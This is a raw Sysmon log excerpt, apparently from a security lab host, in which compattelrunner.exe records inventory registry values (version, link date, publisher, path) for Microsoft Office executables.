14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\visicon.exe|298c64a15915f13a\BinProductVersion16.0.13801.20840 13241300x800000000000000043869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\visicon.exe|298c64a15915f13a\LinkDate07/29/2021 06:58:53 13241300x800000000000000043868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\visicon.exe|298c64a15915f13a\Publishermicrosoft corporation 13241300x800000000000000043867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\visicon.exe|298c64a15915f13a\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\visicon.exe 13241300x800000000000000043866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ucmapi.exe|3a5e65afd4555fb0\BinProductVersion16.0.13801.20864 13241300x800000000000000043865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ucmapi.exe|3a5e65afd4555fb0\LinkDate08/05/2021 03:47:09 13241300x800000000000000043864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ucmapi.exe|3a5e65afd4555fb0\Publishermicrosoft corporation 13241300x800000000000000043863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ucmapi.exe|3a5e65afd4555fb0\LowerCaseLongPathc:\program files\microsoft office\root\office16\ucmapi.exe 13241300x800000000000000043862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sscicons.exe|8c93d9f769666121\BinProductVersion16.0.13801.20840 13241300x800000000000000043861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sscicons.exe|8c93d9f769666121\LinkDate07/29/2021 06:54:35 13241300x800000000000000043860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sscicons.exe|8c93d9f769666121\Publishermicrosoft corporation 13241300x800000000000000043859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sscicons.exe|8c93d9f769666121\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\sscicons.exe 13241300x800000000000000043858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sqldumper.exe|f5cecdb30a72910f\BinProductVersion15.0.2000.311 13241300x800000000000000043857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sqldumper.exe|f5cecdb30a72910f\LinkDate03/18/2020 21:16:52 13241300x800000000000000043856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sqldumper.exe|f5cecdb30a72910f\Publishermicrosoft corporation 13241300x800000000000000043855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sqldumper.exe|f5cecdb30a72910f\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx64\microsoft analysis services\as oledb\140\sqldumper.exe 13241300x800000000000000043854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sqldumper.exe|464160c2533d4588\BinProductVersion15.0.2000.311 13241300x800000000000000043853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sqldumper.exe|464160c2533d4588\LinkDate03/18/2020 21:17:11 13241300x800000000000000043852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sqldumper.exe|464160c2533d4588\Publishermicrosoft corporation 13241300x800000000000000043851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sqldumper.exe|464160c2533d4588\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx86\microsoft analysis services\as oledb\140\sqldumper.exe 13241300x800000000000000043850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\spreadsheetcompa|13e8473ddb031adc\BinProductVersion16.0.55555.10000 13241300x800000000000000043849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\spreadsheetcompa|13e8473ddb031adc\LinkDate11/20/2085 08:32:39 13241300x800000000000000043848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\spreadsheetcompa|13e8473ddb031adc\Publishermicrosoft corporation 13241300x800000000000000043847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\spreadsheetcompa|13e8473ddb031adc\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx86\microsoft office\office16\dcf\spreadsheetcompare.exe 13241300x800000000000000043846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\smarttaginstall.|f826035e5377ee3e\BinProductVersion16.0.13628.20000 13241300x800000000000000043845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\smarttaginstall.|f826035e5377ee3e\LinkDate12/28/2020 22:06:59 13241300x800000000000000043844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\smarttaginstall.|f826035e5377ee3e\Publishermicrosoft corporation 13241300x800000000000000043843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\smarttaginstall.|f826035e5377ee3e\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\smart tag\smarttaginstall.exe 13241300x800000000000000043842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\skypeserver.exe|8a108f2e74c54779\BinProductVersion16.0.55555.10000 13241300x800000000000000043841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\skypeserver.exe|8a108f2e74c54779\LinkDate01/31/2021 22:17:58 13241300x800000000000000043840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\skypeserver.exe|8a108f2e74c54779\Publishermicrosoft corporation 13241300x800000000000000043839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\skypeserver.exe|8a108f2e74c54779\LowerCaseLongPathc:\program files\microsoft office\root\office16\skypesrv\skypeserver.exe 13241300x800000000000000043838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\setlang.exe|f09b3851d8a3961f\BinProductVersion16.0.13801.20864 13241300x800000000000000043837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\setlang.exe|f09b3851d8a3961f\LinkDate08/05/2021 03:29:40 13241300x800000000000000043836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\setlang.exe|f09b3851d8a3961f\Publishermicrosoft corporation 13241300x800000000000000043835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\setlang.exe|f09b3851d8a3961f\LowerCaseLongPathc:\program files\microsoft office\root\office16\setlang.exe 13241300x800000000000000043834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\selfcert.exe|e2ec62361730e601\BinProductVersion16.0.13801.20864 13241300x800000000000000043833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\selfcert.exe|e2ec62361730e601\LinkDate08/05/2021 03:29:39 13241300x800000000000000043832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\selfcert.exe|e2ec62361730e601\Publishermicrosoft corporation 13241300x800000000000000043831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\selfcert.exe|e2ec62361730e601\LowerCaseLongPathc:\program files\microsoft office\root\office16\selfcert.exe 13241300x800000000000000043830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sdxhelperbgt.exe|10dd51b76d1cbf67\BinProductVersion16.0.13628.20000 13241300x800000000000000043829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sdxhelperbgt.exe|10dd51b76d1cbf67\LinkDate12/28/2020 22:40:28 13241300x800000000000000043828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sdxhelperbgt.exe|10dd51b76d1cbf67\Publishermicrosoft corporation 13241300x800000000000000043827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sdxhelperbgt.exe|10dd51b76d1cbf67\LowerCaseLongPathc:\program files\microsoft office\root\office16\sdxhelperbgt.exe 13241300x800000000000000043826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sdxhelper.exe|10f28420cb1d5514\BinProductVersion16.0.13801.20864 13241300x800000000000000043825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sdxhelper.exe|10f28420cb1d5514\LinkDate08/05/2021 03:30:30 13241300x800000000000000043824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sdxhelper.exe|10f28420cb1d5514\Publishermicrosoft corporation 13241300x800000000000000043823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\sdxhelper.exe|10f28420cb1d5514\LowerCaseLongPathc:\program files\microsoft office\root\office16\sdxhelper.exe 13241300x800000000000000043822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\scanpst.exe|b3299f6a464b1648\BinProductVersion16.0.13801.20864 13241300x800000000000000043821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\scanpst.exe|b3299f6a464b1648\LinkDate08/05/2021 03:30:16 13241300x800000000000000043820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\scanpst.exe|b3299f6a464b1648\Publishermicrosoft corporation 13241300x800000000000000043819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\scanpst.exe|b3299f6a464b1648\LowerCaseLongPathc:\program files\microsoft office\root\office16\scanpst.exe 13241300x800000000000000043818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pubs.exe|221ddcdbe2c5911d\BinProductVersion16.0.13801.20842 13241300x800000000000000043817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pubs.exe|221ddcdbe2c5911d\LinkDate07/30/2021 00:22:11 13241300x800000000000000043816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pubs.exe|221ddcdbe2c5911d\Publishermicrosoft corporation 13241300x800000000000000043815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pubs.exe|221ddcdbe2c5911d\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\pubs.exe 13241300x800000000000000043814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\protocolhandler.|9fae8d2618c9287e\BinProductVersion16.0.13801.20864 13241300x800000000000000043813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\protocolhandler.|9fae8d2618c9287e\LinkDate08/05/2021 03:32:12 13241300x800000000000000043812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\protocolhandler.|9fae8d2618c9287e\Publishermicrosoft corporation 13241300x800000000000000043811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\protocolhandler.|9fae8d2618c9287e\LowerCaseLongPathc:\program files\microsoft office\root\office16\protocolhandler.exe 13241300x800000000000000043810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pptico.exe|d7bc0ff224c77abb\BinProductVersion16.0.13231.20098 13241300x800000000000000043809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pptico.exe|d7bc0ff224c77abb\LinkDate09/08/2020 05:38:14 13241300x800000000000000043808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pptico.exe|d7bc0ff224c77abb\Publishermicrosoft corporation 13241300x800000000000000043807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pptico.exe|d7bc0ff224c77abb\LowerCaseLongPathc:\program files\microsoft office\root\office16\pptico.exe 13241300x800000000000000043806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pptico.exe|39fd6212a4a4bffe\BinProductVersion16.0.13801.20842 13241300x800000000000000043805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pptico.exe|39fd6212a4a4bffe\LinkDate07/30/2021 00:22:10 13241300x800000000000000043804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pptico.exe|39fd6212a4a4bffe\Publishermicrosoft corporation 13241300x800000000000000043803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pptico.exe|39fd6212a4a4bffe\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\pptico.exe 13241300x800000000000000043802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\powerpnt.exe|d26b5ec93e6588c4\BinProductVersion16.0.13801.20864 13241300x800000000000000043801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\powerpnt.exe|d26b5ec93e6588c4\LinkDate08/05/2021 03:30:19 13241300x800000000000000043800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\powerpnt.exe|d26b5ec93e6588c4\Publishermicrosoft corporation 